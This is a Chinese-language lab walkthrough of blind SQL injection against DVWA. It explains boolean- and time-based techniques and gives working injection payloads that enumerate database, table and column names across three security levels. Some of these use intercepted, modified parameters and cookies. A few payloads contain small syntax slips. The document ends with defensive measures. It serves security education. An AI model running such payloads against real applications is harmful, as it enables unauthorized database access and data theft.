八、SQL Injection(Blind) - SQL注入(盲注)
原理
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常无法从显示页面上获取执行的结果,甚至连注入语句是否执行都无法得知。目前网络上现存的SQL注入漏洞大多是SQL盲注。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
盲注的步骤:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
布尔型盲注:
- 布尔型盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入
- 布尔型盲注利用
判断数据库个数,当数据库个数大于n,页面显示正常
(select count(schema_name) from information_schema.schemata) > n
判断数据库内第一个数据库名有多少字符,字符个数大于n,页面显示正常
(select length(schema_name) from information_schema.schema.schemata limit 0,1) > n
判断第一个数据库第一个字符是什么,ascii值大于n,页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))) > n
相关函数学习
length() 返回字符串长度
substr() 截取字符串,偏移从1开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目
时间型盲注:
- 时间型盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件后,页面的返回速度明显慢了5秒。
- 时间型盲注利用
判断数据库个数,当数据库个数等于n时,页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
判断数据库内第一个数据库名有多少个字符,字符个数等于n,页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
判断第一个库名第一个字符是什么,ascii值等于n,页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1),1)))=n,sleep(5),1)
相关函数学习
length() 返回字符串长度
substr() 截取字符串
ascii() 返回字符的ascii码
sleep() 将程序挂起一段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
count(column_name) 返回指定列的值的数目(NULL不计入)
1. Low
Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回 结果只有两种:用户ID存在或者不存在。
- 判断是否存在注入,注入是字符型还是数字型
- 输入1,显示相应用户存在:
- 输入1' and 1=1 #,显示存在:
- 输入1' and 1=2 #,显示不存在:
说明存在字符型的SQL盲注
- 猜解数据库名
首先猜解数据库名长度,然后挨个猜解字符。
- 输入1' and length(database())=3 #,显示不存在;
- 输入1' and length(database())=4 #,显示存在:
说明数据库长度为4
采用二分法猜解数据库名
- 输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
- 输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
- ....
- 输入1' and ascii(substr(database(),1,1))=100 #,显示存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
重复上述步骤,就可以猜解出完整的数据库名(dvwa)了
- 猜解数据库中的表名
首先猜解数据库中表的数量
- 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
说明数据库中共有两个表
接着猜解表名
- 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9
猜解表名的第一个字符
- 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 显示存在
说明第一个表的名字的第一个字符为小写字母g
重复上述步骤,即可猜解出两个表名guestbook、users
- 猜解表中的字段名
首先猜解表中字段的数量
- 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 显示存在
说明users表有8个字段
接着挨个猜解字段名
- 1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。采用二分法,即可猜解出所有字段名。
- 猜解数据
同样采用二分法
2. Medium
Medium级别的代码利用mysql_real_escape_string
函数对特殊符号\x00,\n,\r,\',\",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户输入。
漏洞利用
虽然前端使用了下拉选择菜单,但仍然可以通过抓包修改id参数,提交恶意构造的查询代码。其注入流程和Low等级的类似,只是多了一个抓包的过程,简要演示几个。
基于布尔的盲注:
抓包修改参数id为 1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包修改参数id为 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ,显示存在,说明数据库中的第一个表名长度为9个字符;
抓包修改参数id为 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #,(0x7573657273为'users'的16进制),显示存在,说明 users 表有8个字段
基于时间的盲注:
抓包修改参数id为 1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包修改参数id为 1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据库中的第一个表名长度为9个字符;
抓包修改参数id为 1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明users表有8个字段
3. High
High 级别的代码利用 cookie 传递参数 id,当 SQL 查询结果为空时,会执行函数 sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL 查询语句中添加了 LIMIT 1,希望以此控制只输出一个结果
漏洞利用
虽然添加了 LIMIT 1,但可以通过 # 将其注释掉,但由于服务器端执行 sleep 函数,会使得基于时间盲注的准确性受到影响,这里只演示基于布尔的盲注:
抓包将 cookie 中的参数 id 修改为 1' and length(database())=4 #,显示存在,说明数据库名的长度为 4 个字符;
抓包将 cookie 中参数 id 改为 1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为 9 个字符;
抓包将 cookie 中参数 id 改为 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #,(0x7573657273 为 'users' 的 16 进制),显示存在,说明 users 表有 8 个字段
防护方法
防护方法同 SQL 注入
- 使用预编译语句,绑定变量
- 使用存储过程
- 检查数据类型
- 使用安全函数